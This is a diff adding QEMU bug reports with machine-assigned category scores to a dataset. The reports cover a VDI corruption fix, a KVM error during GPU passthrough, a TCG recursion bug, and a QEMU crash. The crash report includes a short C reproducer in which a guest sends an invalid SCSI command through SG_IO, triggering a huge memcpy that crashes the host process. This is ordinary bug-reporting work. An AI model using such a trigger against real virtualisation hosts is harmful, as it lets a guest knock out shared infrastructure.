2.2.2, too). + +Max + +Thanks for the extra information. + +I'll open a new bug report at Ubuntu to get the fix backported to Trusty. Thanks! + +Based on Max's comment this is Fix Released upstream. + +And since Ubuntu Wily ships 2.3, I presume this is also fixed in Ubuntu in Wily. I'll mark that Fix Released too, and add a task for Trusty. + +Please find attach a proposed debdiff for fixing the issue in Ubuntu Trusty by backporting the fix which is now in Wily. + +Hello Pierre, or anyone else affected, + +Accepted qemu into trusty-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/qemu/2.0.0+dfsg-2ubuntu1.18 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-needed to verification-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Tested 2.0.0+dfsg-2ubuntu1.18. +Cannot reproduce the issue. + +TEST CASE 1: +Attempt several times to copy files on a VDI disk, and couldn't trigger any corruption (nor deadlock - no regression). Given my test scenario, previously, I would already have hit the corruption. + +TEST CASE 2: +Tested with test scenario provided in comment #4. Couldn't reproduce, and no regression. + +TEST CASE 3: +Tested with test scenario provided in comment #5. Couldn't reproduce, and no regression. + +Marking as verification-done + +This bug was fixed in the package qemu - 2.0.0+dfsg-2ubuntu1.18 + +--------------- +qemu (2.0.0+dfsg-2ubuntu1.18) trusty-proposed; urgency=medium + + * qemu-nbd-fix-vdi-corruption.patch: + qemu-nbd: fix corruption while writing VDI volumes (LP: #1422307) + + -- Pierre Schweitzer <email address hidden> Mon, 17 Aug 2015 11:43:39 +0200 + +The verification of the Stable Release Update for qemu has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. + diff --git a/results/classifier/108/graphic/1433081 b/results/classifier/108/graphic/1433081 new file mode 100644 index 000000000..55b14b70e --- /dev/null +++ b/results/classifier/108/graphic/1433081 @@ -0,0 +1,324 @@ +graphic: 0.927 +debug: 0.920 +KVM: 0.913 +device: 0.908 +performance: 0.904 +semantic: 0.894 +other: 0.875 +PID: 0.871 +boot: 0.871 +files: 0.868 +permissions: 0.865 +vnc: 0.859 +socket: 0.763 +network: 0.710 + +kvm hardware error 0xffffffff with vfio-pci VGA passthrough + +Hi, + +Using qcow2 format for an ide-hd device is causing "KVM: entry failed, hardware error 0xffffffff". When this error occurs, qemu-monitor shows the guest has stopped. The error did not occur immediately, but at the point that the boot, running from an attached Ubuntu 14.04.1 iso, switched to graphical mode after text-mode startup. + +The root-cause was verified by switching only the ide-hd disk to raw format (no OS installed), which allowed the guest to boot normally from the iso. The error and fix are reliably repeatable. + +The interesting part is that the ide-hd (with no OS installed) with qcow2 format was not actually being used for boot - the boot was from a Ubuntu iso, with the intention of installing an ubuntu guest on the attached ide-hd device. The guest was using a vfio-pci passthrough GPU connected to an external UHD monitor. + +The commands used to create the disk images: +qemu-img create -f qcow2 /media/v2min/Data/VMachines-KVM/KVM-NVidia/kvm-nvidia.img 20G +qemu-img create -f raw /media/v2min/Data/VMachines-KVM/KVM-NVidia/kvm-nvidia.img 20G + +The script vm1 was used to launch the guests with "sudo ./vm1", with the only difference between launches being the ide-hd format (raw vs qcow2). With qcow2 this resulted in the terminal below. The corresponding dmesg snippets are attached. There were two dmesg entries each time the error occurred. + +The same problem occurred when using the latest packages from the ppa:jacob/virtualisation. However, when using jacob's packages, it was not verified that raw format resolves the error (I am running this on my primary system and purged jacob's ppa when this problem first occured). + +A fix would be helpful as the qcow2 format allows snapshots, while raw does not. + +----------------------------------System info----------------------------------------------------------- +Linux v2min 3.18.9-031809-generic #201503080036 SMP Sun Mar 8 00:37:46 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux + +/var/log/libvirt/libvirt.d is 0 bytes + +Libvirt versions are these: + +v2min@v2min:~/QCOW2-Error$ dpkg -l | grep libvirt +ii libvirt-bin 1.2.2-0ubuntu13.1.9 amd64 programs for the libvirt library +rc libvirt-glib-1.0-0 0.1.6-1ubuntu2 amd64 libvirt glib mainloop integration +ii libvirt0 1.2.2-0ubuntu13.1.9 amd64 library for interfacing with different virtualization systems +ii python-libvirt 1.2.2-0ubuntu2 amd64 libvirt Python bindings + + +v2min@v2min:~/QCOW2-Error$ dpkg -l | grep qemu +ii ipxe-qemu 1.0.0+git-20131111.c3d1e78-2ubuntu1.1 all PXE boot firmware - ROM images for qemu +ii qemu-keymaps 2.0.0+dfsg-2ubuntu1.10 all QEMU keyboard maps +ii qemu-kvm 2.0.0+dfsg-2ubuntu1.10 amd64 QEMU Full virtualization on x86 hardware (transitional package) +ii qemu-system-common 2.0.0+dfsg-2ubuntu1.10 amd64 QEMU full system emulation binaries (common files) +ii qemu-system-x86 2.0.0+dfsg-2ubuntu1.10 amd64 QEMU full system emulation binaries (x86) +ii qemu-utils 2.0.0+dfsg-2ubuntu1.10 amd64 QEMU utilities + +Passthrough GPU: Zotac GT 730 2GB. +Processor: AMD A10-5800K APU +Primary GPU: Radeon R9-290X + + +------------------------------------------vm1 script----------------------------------------------------- +#!/bin/bash + +configfile=/etc/vfio-pci1.cfg + +vfiobind() { + dev="$1" + vendor=$(cat /sys/bus/pci/devices/$dev/vendor) + device=$(cat /sys/bus/pci/devices/$dev/device) + if [ -e /sys/bus/pci/devices/$dev/driver ]; then + echo $dev > /sys/bus/pci/devices/$dev/driver/unbind + fi + echo $vendor $device > /sys/bus/pci/drivers/vfio-pci/new_id + +} + +modprobe vfio-pci + +cat $configfile | while read line;do + echo $line | grep ^# >/dev/null 2>&1 && continue + vfiobind $line +done + +sudo qemu-system-x86_64 -enable-kvm -M q35 -m 4096 -cpu host \ +-smp 2,sockets=1,cores=2,threads=1 \ +-bios /usr/share/qemu/bios.bin -vga none \ +-usb -device usb-host,hostbus=5,hostaddr=8 \ +-device ioh3420,bus=pcie.0,addr=1c.0,multifunction=on,port=1,chassis=1,id=root.1 \ +-device vfio-pci,host=04:00.0,bus=root.1,addr=00.0,multifunction=on,x-vga=on \ +-device vfio-pci,host=04:00.1,bus=root.1,addr=00.1 \ +-drive file=/media/v2min/Data/VMachines-KVM/KVM-NVidia/kvm-nvidia.img,id=disk,format=qcow2 -device ide-hd,bus=ide.0,drive=disk \ +-drive file=/media/v2min/Data/Shr/Software/OSes/ubuntu-14.04.1-desktop-amd64.iso,id=isocd -device ide-cd,bus=ide.1,drive=isocd \ +-boot menu=on \ +-boot d + +exit 0 + +------------------------------------------------------------gnome-terminal----------------------------- +v2min@v2min:~$ sudo ./vm1 +[sudo] password for v2min: +KVM: entry failed, hardware error 0xffffffff +RAX=0000000000000005 RBX=0000000000000000 RCX=0000000000000000 RDX=ffffffff81eaf3e8 +RSI=0000000000000000 RDI=0000000000000000 RBP=ffff880179553930 RSP=ffff880179553910 +R8 =ffffffff81eaf3e0 R9 =000000000000ffff R10=0000000000000206 R11=000000000000000f +R12=ffff880179597b1c R13=0000000000000028 R14=0000000000000000 R15=ffff880179597800 +RIP=ffffffff8104ed58 RFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00800000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00800000 +FS =0000 00007f51d8a96880 ffffffff 00800000 +GS =0000 ffff88017fd00000 ffffffff 00800000 +LDT=0000 0000000000000000 0000ffff 00000000 +TR =0040 ffff88017fd11900 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff88017fd0a000 0000007f +IDT= ffffffffff576000 00000fff +CR0=8005003b CR2=00007f51d8a99000 CR3=00000001740be000 CR4=000406e0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +Code=00 01 48 c7 c0 6a b0 00 00 31 db 0f b7 0c 01 b8 05 00 00 00 <0f> 01 c1 0f 1f 44 00 00 5b 41 5c 41 5d 41 5e 5d c3 89 f0 31 c9 f0 0f b0 0d 9b 06 e6 00 40 +v2min@v2min:~$ sudo ./vm1 +KVM: entry failed, hardware error 0xffffffff +RAX=0000000000000005 RBX=0000000000000000 RCX=0000000000000000 RDX=ffffffff81eaf3e8 +RSI=0000000000000000 RDI=0000000000000000 RBP=ffff88017957f9e8 RSP=ffff88017957f9c8 +R8 =ffffffff81eaf3e0 R9 =0000000000000000 R10=ffff88017b001d00 R11=0000000000000246 +R12=ffff880179527ac0 R13=000000000000003e R14=0000000000000000 R15=0000000000000001 +RIP=ffffffff8104ed58 RFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00800000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00800000 +FS =0000 00007f49153a6740 ffffffff 00800000 +GS =0000 ffff88017fd00000 ffffffff 00800000 +LDT=0000 0000000000000000 0000ffff 00000000 +TR =0040 ffff88017fd11900 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff88017fd0a000 0000007f +IDT= ffffffffff576000 00000fff +CR0=8005003b CR2=00007f4914e82170 CR3=0000000001c0e000 CR4=000406e0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +Code=00 01 48 c7 c0 6a b0 00 00 31 db 0f b7 0c 01 b8 05 00 00 00 <0f> 01 c1 0f 1f 44 00 00 5b 41 5c 41 5d 41 5e 5d c3 89 f0 31 c9 f0 0f b0 0d 9b 06 e6 00 40 + + + + + +Your kernel is tainted with virtual box drivers, which are potentially incompatible with KVM. Remove and try again. + +Thank you for reviewing this. Removed VirtualBox and tried again, unfortunately same error. Terminal results and dmesg snippets below. + +-----------------------terminal------------------------------------------------- +v2min@v2min:~$ sudo ./vm1 +KVM: entry failed, hardware error 0xffffffff +RAX=0000000000000005 RBX=0000000000000000 RCX=0000000000000000 RDX=ffffffff81eaf3e8 +RSI=0000000000000000 RDI=0000000000000000 RBP=ffff880179559930 RSP=ffff880179559910 +R8 =ffffffff81eaf3e0 R9 =000000000000ffff R10=0000000000000206 R11=000000000000000f +R12=ffff8801795feb1c R13=0000000000000028 R14=0000000000000000 R15=ffff8801795fe800 +RIP=ffffffff8104ed58 RFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =0000 0000000000000000 ffffffff 00800000 +CS =0010 0000000000000000 ffffffff 00a09b00 DPL=0 CS64 [-RA] +SS =0018 0000000000000000 ffffffff 00c09300 DPL=0 DS [-WA] +DS =0000 0000000000000000 ffffffff 00800000 +FS =0000 00007ff2108ed880 ffffffff 00800000 +GS =0000 ffff88017fd00000 ffffffff 00800000 +LDT=0000 0000000000000000 0000ffff 00000000 +TR =0040 ffff88017fd11900 00002087 00008b00 DPL=0 TSS64-busy +GDT= ffff88017fd0a000 0000007f +IDT= ffffffffff576000 00000fff +CR0=8005003b CR2=00007ff2108f0000 CR3=0000000174114000 CR4=000406e0 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000d01 +Code=00 01 48 c7 c0 6a b0 00 00 31 db 0f b7 0c 01 b8 05 00 00 00 <0f> 01 c1 0f 1f 44 00 00 5b 41 5c 41 5d 41 5e 5d c3 89 f0 31 c9 f0 0f b0 0d 9b 06 e6 00 40 + +---------------------------------------------------------------------dmesg snippet---------------------------------------------------------------- +[ 143.638160] vfio-pci 0000:04:00.0: enabling device (0000 -> 0003) +[ 143.641607] vfio-pci 0000:04:00.1: enabling device (0000 -> 0002) +[ 146.481082] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 146.749241] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 146.961035] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 147.161244] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 150.135296] kvm: zapping shadow pages for mmio generation wraparound +[ 163.101237] kvm [4414]: vcpu0 unhandled rdmsr: 0xc0011005 +[ 163.101246] kvm [4414]: vcpu0 unhandled rdmsr: 0xc0011021 +[ 163.101252] kvm [4414]: vcpu0 unhandled rdmsr: 0xc0010112 +[ 163.101266] kvm [4414]: vcpu0 unhandled rdmsr: 0xc0000408 +[ 163.243382] kvm [4414]: vcpu0 unimplemented perfctr wrmsr: 0xc0010004 data 0xffff +[ 163.261011] kvm [4414]: vcpu1 unhandled rdmsr: 0xc0011005 +[ 163.261024] kvm [4414]: vcpu1 unhandled rdmsr: 0xc0011021 +[ 163.261056] kvm [4414]: vcpu1 unhandled rdmsr: 0xc0000408 +[ 163.979495] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 166.943830] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 167.687954] usb 5-4.2: reset full-speed USB device number 8 using ehci-pci +[ 167.798019] ------------[ cut here ]------------ +[ 167.798078] WARNING: CPU: 2 PID: 4417 at /home/kernel/COD/linux/arch/x86/kvm/emulate.c:4994 x86_emulate_insn+0xa74/0xc30 [kvm]() +[ 167.798082] Modules linked in: xt_CHECKSUM iptable_mangle ipt_MASQUERADE nf_nat_masquerade_ipv4 iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack ipt_REJECT nf_reject_ipv4 xt_tcpudp iptable_filter ip_tables x_tables bridge stp llc crct10dif_pclmul crc32_pclmul ghash_clmulni_intel nouveau aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd mxm_wmi wmi ttm drm_kms_helper drm serio_raw i2c_algo_bit k10temp joydev i2c_piix4 snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi snd_hda_intel snd_hda_controller snd_hda_codec snd_hwdep snd_pcm dm_multipath scsi_dh snd_seq_midi snd_seq_midi_event snd_rawmidi fglrx(POE) snd_seq snd_seq_device snd_timer snd amd_iommu_v2 soundcore shpchp 8250_fintek video mac_hid tpm_infineon parport_pc ppdev kvm_amd kvm vfio_pci rfcomm vfio_iommu_type1 vfio bnep it87 hwmon_vid bluetooth lp parport nls_iso8859_1 ses enclosure hid_generic btrfs hid_logitech ff_memless raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor uas usb_storage hid_logitech_dj usbhid hid raid6_pq raid1 raid0 psmouse multipath r8169 ahci linear libahci mii pci_stub +[ 167.798211] CPU: 2 PID: 4417 Comm: qemu-system-x86 Tainted: P OE 3.18.9-031809-generic #201503080036 +[ 167.798215] Hardware name: Gigabyte Technology Co., Ltd. To be filled by O.E.M./F2A88X-D3H, BIOS F5 05/28/2014 +[ 167.798219] 0000000000001382 ffff880641e03b68 ffffffff8179ba3d 0000000000000007 +[ 167.798226] 0000000000000000 ffff880641e03ba8 ffffffff81074bac 0000000000000004 +[ 167.798232] ffff8805f23e9550 0000000000000006 ffffffffc075f640 ffff8805f23e9550 +[ 167.798238] Call Trace: +[ 167.798250] [<ffffffff8179ba3d>] dump_stack+0x46/0x58 +[ 167.798258] [<ffffffff81074bac>] warn_slowpath_common+0x8c/0xc0 +[ 167.798269] [<ffffffff81074bfa>] warn_slowpath_null+0x1a/0x20 +[ 167.798304] [<ffffffffc07527b4>] x86_emulate_insn+0xa74/0xc30 [kvm] +[ 167.798334] [<ffffffffc0734f1d>] x86_emulate_instruction+0x13d/0x550 [kvm] +[ 167.798348] [<ffffffffc066d440>] ? nested_svm_get_tdp_cr3+0x20/0x20 [kvm_amd] +[ 167.798361] [<ffffffffc066f2a2>] ud_interception+0x22/0x40 [kvm_amd] +[ 167.798372] [<ffffffffc066d440>] ? nested_svm_get_tdp_cr3+0x20/0x20 [kvm_amd] +[ 167.798385] [<ffffffffc06724cd>] handle_exit+0x19d/0x320 [kvm_amd] +[ 167.798419] [<ffffffffc0755b2b>] ? kvm_lapic_set_tpr+0x3b/0x50 [kvm] +[ 167.798431] [<ffffffffc0670184>] ? svm_vcpu_run+0x364/0x4a0 [kvm_amd] +[ 167.798443] [<ffffffffc066d440>] ? nested_svm_get_tdp_cr3+0x20/0x20 [kvm_amd] +[ 167.798474] [<ffffffffc073afd6>] vcpu_enter_guest+0x526/0x8c0 [kvm] +[ 167.798500] [<ffffffffc0725e70>] ? kvm_vm_ioctl_unregister_coalesced_mmio+0xd0/0xd0 [kvm] +[ 167.798507] [<ffffffff81080bcf>] ? recalc_sigpending+0x1f/0x60 +[ 167.798537] [<ffffffffc073b508>] __vcpu_run+0x198/0x230 [kvm] +[ 167.798544] [<ffffffff8108420f>] ? __set_current_blocked+0x3f/0x90 +[ 167.798574] [<ffffffffc073b63d>] kvm_arch_vcpu_ioctl_run+0x9d/0x170 [kvm] +[ 167.798599] [<ffffffffc0721ecd>] kvm_vcpu_ioctl+0x36d/0x630 [kvm] +[ 167.798607] [<ffffffff810ee582>] ? futex_wake+0x72/0x140 +[ 167.798615] [<ffffffff811f46e5>] do_vfs_ioctl+0x75/0x2c0 +[ 167.798621] [<ffffffff811fed05>] ? __fget_light+0x25/0x70 +[ 167.798626] [<ffffffff811f49c1>] SyS_ioctl+0x91/0xb0 +[ 167.798633] [<ffffffff817a936d>] system_call_fastpath+0x16/0x1b +[ 167.798638] ---[ end trace e18df1ca74cfaba0 ]--- +[ 167.798642] ------------[ cut here ]------------ +[ 167.798669] WARNING: CPU: 2 PID: 4417 at /home/kernel/COD/linux/arch/x86/kvm/x86.c:329 inject_pending_event+0x2ae/0x2c0 [kvm]() +[ 167.798672] Modules linked in: xt_CHECKSUM iptable_mangle ipt_MASQUERADE nf_nat_masquerade_ipv4 iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack ipt_REJECT nf_reject_ipv4 xt_tcpudp iptable_filter ip_tables x_tables bridge stp llc crct10dif_pclmul crc32_pclmul ghash_clmulni_intel nouveau aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd mxm_wmi wmi ttm drm_kms_helper drm serio_raw i2c_algo_bit k10temp joydev i2c_piix4 snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi snd_hda_intel snd_hda_controller snd_hda_codec snd_hwdep snd_pcm dm_multipath scsi_dh snd_seq_midi snd_seq_midi_event snd_rawmidi fglrx(POE) snd_seq snd_seq_device snd_timer snd amd_iommu_v2 soundcore shpchp 8250_fintek video mac_hid tpm_infineon parport_pc ppdev kvm_amd kvm vfio_pci rfcomm vfio_iommu_type1 vfio bnep it87 hwmon_vid bluetooth lp parport nls_iso8859_1 ses enclosure hid_generic btrfs hid_logitech ff_memless raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor uas usb_storage hid_logitech_dj usbhid hid raid6_pq raid1 raid0 psmouse multipath r8169 ahci linear libahci mii pci_stub +[ 167.798790] CPU: 2 PID: 4417 Comm: qemu-system-x86 Tainted: P W OE 3.18.9-031809-generic #201503080036 +[ 167.798794] Hardware name: Gigabyte Technology Co., Ltd. To be filled by O.E.M./F2A88X-D3H, BIOS F5 05/28/2014 +[ 167.798796] 0000000000000149 ffff880641e03c68 ffffffff8179ba3d 0000000000000007 +[ 167.798803] 0000000000000000 ffff880641e03ca8 ffffffff81074bac ffffffffc066d440 +[ 167.798808] ffff8805f23e8000 0000000000000000 0000000000000001 00000000000000ff +[ 167.798814] Call Trace: +[ 167.798821] [<ffffffff8179ba3d>] dump_stack+0x46/0x58 +[ 167.798828] [<ffffffff81074bac>] warn_slowpath_common+0x8c/0xc0 +[ 167.798840] [<ffffffffc066d440>] ? nested_svm_get_tdp_cr3+0x20/0x20 [kvm_amd] +[ 167.798847] [<ffffffff81074bfa>] warn_slowpath_null+0x1a/0x20 +[ 167.798875] [<ffffffffc072fc0e>] inject_pending_event+0x2ae/0x2c0 [kvm] +[ 167.798906] [<ffffffffc073ad4e>] vcpu_enter_guest+0x29e/0x8c0 [kvm] +[ 167.798932] [<ffffffffc0725e70>] ? kvm_vm_ioctl_unregister_coalesced_mmio+0xd0/0xd0 [kvm] +[ 167.798939] [<ffffffff81080bcf>] ? recalc_sigpending+0x1f/0x60 +[ 167.798970] [<ffffffffc073b508>] __vcpu_run+0x198/0x230 [kvm] +[ 167.798977] [<ffffffff8108420f>] ? __set_current_blocked+0x3f/0x90 +[ 167.799007] [<ffffffffc073b63d>] kvm_arch_vcpu_ioctl_run+0x9d/0x170 [kvm] +[ 167.799032] [<ffffffffc0721ecd>] kvm_vcpu_ioctl+0x36d/0x630 [kvm] +[ 167.799039] [<ffffffff810ee582>] ? futex_wake+0x72/0x140 +[ 167.799046] [<ffffffff811f46e5>] do_vfs_ioctl+0x75/0x2c0 +[ 167.799052] [<ffffffff811fed05>] ? __fget_light+0x25/0x70 +[ 167.799058] [<ffffffff811f49c1>] SyS_ioctl+0x91/0xb0 +[ 167.799064] [<ffffffff817a936d>] system_call_fastpath+0x16/0x1b +[ 167.799068] ---[ end trace e18df1ca74cfaba1 ]--- +[ 167.799074] KVM: FAILED VMRUN WITH VMCB: +[ 167.799077] VMCB Control Area: +[ 167.799080] cr_read: 0011 +[ 167.799083] cr_write: 0011 +[ 167.799086] dr_read: 00ff +[ 167.799088] dr_write: 00ff +[ 167.799091] exceptions: 000400c0 +[ 167.799093] intercepts: 00002e7fbdc48037 +[ 167.799096] pause filter count: 3000 +[ 167.799099] iopm_base_pa: 000000064157c000 +[ 167.799101] msrpm_base_pa: 000000064096a000 +[ 167.799104] tsc_offset: ffffff56c27157b1 +[ 167.799106] asid: 33 +[ 167.799109] tlb_ctl: 0 +[ 167.799111] int_ctl: 010f0100 +[ 167.799114] int_vector: 00000000 +[ 167.799116] int_state: 00000000 +[ 167.799119] exit_code: ffffffff +[ 167.799121] exit_info1: 0000000000000000 +[ 167.799124] exit_info2: 0000000000000000 +[ 167.799126] exit_int_info: 00000000 +[ 167.799129] exit_int_info_err: 00000000 +[ 167.799131] nested_ctl: 1 +[ 167.799134] nested_cr3: 0000000032107000 +[ 167.799137] event_inj: 800003ff +[ 167.799139] event_inj_err: 00000000 +[ 167.799142] lbr_ctl: 0 +[ 167.799144] next_rip: 0000000000000000 +[ 167.799146] VMCB State Save Area: +[ 167.799150] es: s: 0000 a: 0000 l: ffffffff b: 0000000000000000 +[ 167.799153] cs: s: 0010 a: 029b l: ffffffff b: 0000000000000000 +[ 167.799156] ss: s: 0018 a: 0c93 l: ffffffff b: 0000000000000000 +[ 167.799159] ds: s: 0000 a: 0000 l: ffffffff b: 0000000000000000 +[ 167.799162] fs: s: 0000 a: 0000 l: ffffffff b: 00007ff2108ed880 +[ 167.799166] gs: s: 0000 a: 0000 l: ffffffff b: ffff88017fd00000 +[ 167.799169] gdtr: s: 0000 a: 0000 l: 0000007f b: ffff88017fd0a000 +[ 167.799172] ldtr: s: 0000 a: 0000 l: 0000ffff b: 0000000000000000 +[ 167.799175] idtr: s: 0000 a: 0000 l: 00000fff b: ffffffffff576000 +[ 167.799179] tr: s: 0040 a: 008b l: 00002087 b: ffff88017fd11900 +[ 167.799182] cpl: 0 efer: 0000000000001d01 +[ 167.799185] cr0: 000000008005003b cr2: 00007ff2108f0000 +[ 167.799188] cr3: 0000000174114000 cr4: 00000000000406e0 +[ 167.799191] dr6: 00000000ffff0ff0 dr7: 0000000000000400 +[ 167.799195] rip: ffffffff8104ed58 rflags: 0000000000000046 +[ 167.799198] rsp: ffff880179559910 rax: 0000000000000005 +[ 167.799201] star: 0023001000000000 lstar: ffffffff8172c5f0 +[ 167.799205] cstar: ffffffff8172e510 sfmask: 0000000000043700 +[ 167.799208] kernel_gs_base: 0000000000000000 sysenter_cs: 0000000000000010 +[ 167.799211] sysenter_esp: 0000000000000000 sysenter_eip: 000000008172e2e0 +[ 167.799215] gpat: 0007040600070406 dbgctl: 0000000000000000 +[ 167.799218] br_from: 0000000000000000 br_to: 0000000000000000 +[ 167.799221] excp_from: 0000000000000000 excp_to: 0000000000000000 + + + +Hi v2min, +this got to my attention as it was reassigned from upstream to Ubuntu's qemu last Friday. + +I've seen various graphics pass-through on xenial but personally never used it on trusty. +I don't have the HW around atm to test on my own but after that much time I have to ask you anyway if the error is still bugging you. +Dif you find that either later released fixes or workarounds solve it for you or any other comment to make this updated in mid/end 2016? + + + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1435 b/results/classifier/108/graphic/1435 new file mode 100644 index 000000000..34e4a2b07 --- /dev/null +++ b/results/classifier/108/graphic/1435 @@ -0,0 +1,31 @@ +graphic: 0.986 +semantic: 0.941 +performance: 0.909 +device: 0.796 +other: 0.781 +PID: 0.779 +files: 0.779 +socket: 0.777 +debug: 0.756 +network: 0.695 +permissions: 0.653 +vnc: 0.607 +boot: 0.491 +KVM: 0.258 + +Infinite recursion in tcg_gen_mulu2_i32 for certain 32-bit hosts. +Description of problem: +`tcg_gen_mulu2_i32` infinitely recurses on a 32-bit host (TCG target) that has neither `TCG_TARGET_HAS_mulu2_i32` nor `TCG_TARGET_HAS_muluh_i32`. + +I don't actually think there is any host that is 32-bits and has neither mulu2 nor muluh. The only reference I found is [this](https://gitlab.com/qemu-project/qemu/-/commit/df9ebea53ebc1c98217743f56c30ae3a46031bb9) commit, which adds an `#error` if that situation is hit. But the check, which [still exists](https://gitlab.com/qemu-project/qemu/-/blob/v7.2.0/include/tcg/tcg.h#L174), checks if those flags are *defined*, not for their value. I guess, over the years as the code was refactored, the check wasn't updated because, frankly, there aren't any hosts that match that situation (except mine). + +One easy fix is to change the check mentioned above to check the actual macro value so that compilation fails. I can create a PR for that. +Steps to reproduce: +(Note: I'm linking to the v7.2.0 tag so that these links stay relevant). + +1. `tcg_gen_mulu2_i32` [calls](https://gitlab.com/qemu-project/qemu/-/blob/v7.2.0/tcg/tcg-op.c#L890) `tcg_gen_mul_i64`. +2. `tcg_gen_mul_i64` on 32-bit hosts, due to [this](https://gitlab.com/qemu-project/qemu/-/blob/v7.2.0/tcg/tcg-op.c#L1097) check for `TCG_TARGET_REG_BITS == 32`, is defined [here](https://gitlab.com/qemu-project/qemu/-/blob/v7.2.0/tcg/tcg-op.c#L1218), and [calls](https://gitlab.com/qemu-project/qemu/-/blob/v7.2.0/tcg/tcg-op.c#L1226) `tcg_gen_mulu2_i32`. +3. Rinse and repeat. +4. Eventually, as gen_mulu2/mul functions spill while trying to allocate temps, they will overflow the TB buffer. This will restart code generation with smaller and smaller block sizes, until the block size reaches 1 instruction. TCG will then give up and [assert](https://gitlab.com/qemu-project/qemu/-/blob/v7.2.0/accel/tcg/translate-all.c#L869). +Additional information: + diff --git a/results/classifier/108/graphic/1435973 b/results/classifier/108/graphic/1435973 new file mode 100644 index 000000000..47237536d --- /dev/null +++ b/results/classifier/108/graphic/1435973 @@ -0,0 +1,79 @@ +graphic: 0.964 +performance: 0.922 +files: 0.921 +other: 0.903 +vnc: 0.894 +socket: 0.893 +device: 0.890 +PID: 0.863 +permissions: 0.854 +network: 0.790 +debug: 0.784 +semantic: 0.752 +boot: 0.742 +KVM: 0.631 + +Qemu crash when a guest linux issues specific scsi command via ioctl(SG_IO) with SCSI disk emulation. + +As of git revision 362ca922eea03240916287a8a6267801ab095d12, when guest linux issues specifit scsi command, qemu crashes. + +To reproduce. + +1. launch qemu with scsi emulatoin +qemu-sysytem-i386.exe -kernel bzImage -drive file=rootfs.ext2,index=0,if=scsi -append root=/dev/sda -drive file=\\.\PhysicalDrive1,index=1,if=scsi +2. issues scsi command via ioctl(SG_IO) on guest linux. like below. + +------------------------- +struct request_sense sens; +struct sg_io_hdr sg; +unsigned char cdb[6]; +unsigned char buf[127]; + +memset( &sens, 0, sizeof(sens) ); +memset(&sg, 0, sizeof(sg)); +memset(cdb, 0, sizeof(cdb)); +memset(buf, 0, sizeof(buf)); + +// qemu crash!!! +cdb[0] = 0xff; + +sg.dxferp = buf; +sg.dxfer_len = sizeof(buf); +sg.dxfer_direction = SG_DXFER_FROM_DEV; +sg.flags = 0; +sg.interface_id = 'S'; +sg.cmdp = cdb; +sg.cmd_len = sizeof( cdb ); +sg.sbp = (unsigned char*)&sens; +sg.mx_sb_len = sizeof( sens ); + +ioctl( fd, SG_IO, &sg ); +------------------------- + +I think cause is below code. + +scsi-bus.c L1239 +int scsi_req_parse_cdb(SCSIDevice *dev, SCSICommand *cmd, uint8_t *buf) +{ + int rc; + + cmd->lba = -1; + cmd->len = scsi_cdb_length(buf); + ... + memcpy(cmd->buf, buf, cmd->len); +} + +scsi_cdb_length(buf) returns -1 when buf[0] is unexpected value. +Then memcpy(cmd->buf, buf, 4294967295); is executed and crash. + +Environment +Qemu: git revision 362ca922eea03240916287a8a6267801ab095d12 +Guest: linux kernel 3.18.4 + buildroot +Host: Windows 7 64bit + +Thanks, +hiroaki + +Looks like this has been fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=c170aad8b057223b1139d7 + diff --git a/results/classifier/108/graphic/1437 b/results/classifier/108/graphic/1437 new file mode 100644 index 000000000..614366de7 --- /dev/null +++ b/results/classifier/108/graphic/1437 